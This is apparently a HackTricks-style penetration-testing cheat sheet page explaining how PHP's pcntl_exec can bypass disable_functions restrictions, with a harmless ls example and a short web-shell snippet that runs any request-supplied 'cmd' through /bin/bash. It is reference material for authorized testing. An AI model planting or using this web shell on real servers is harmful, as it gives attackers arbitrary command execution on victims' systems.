// HackTricks · Network Services

PHP pcntlexec Command Execution

PHP pcntl_exec Command Execution

If the PCNTL extension is loaded and pcntl_exec is not itself disabled, the function can start an executable even when more familiar command-execution functions are listed in disable_functions. pcntl_exec replaces the current process; it does not create a child process, and its arguments must be supplied as an array.[1]

The following minimal example executes ls -l /var/tmp. It is adapted from an older disable_functions bypass demonstration.[2]

<?php
$program = '/bin/ls';
$arguments = ['-l', '/var/tmp'];

if (function_exists('pcntl_exec')) {
    pcntl_exec($program, $arguments);
}

// This line is reached only if pcntl_exec() fails.
echo "pcntl_exec failed\n";
?>

This technique is Unix-specific and can terminate or replace a PHP worker process. Use it only in an authorized test environment.[1]

For a request-driven lab check, keep the argument as an array; passing a string as the second parameter is invalid. Because pcntl_exec() replaces the PHP process, command output is written directly to the current response or process streams rather than returning to PHP:[1]

<?php
if (function_exists('pcntl_exec') && isset($_REQUEST['cmd'])) {
    pcntl_exec('/bin/bash', ['-c', $_REQUEST['cmd']]);
}
?>

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.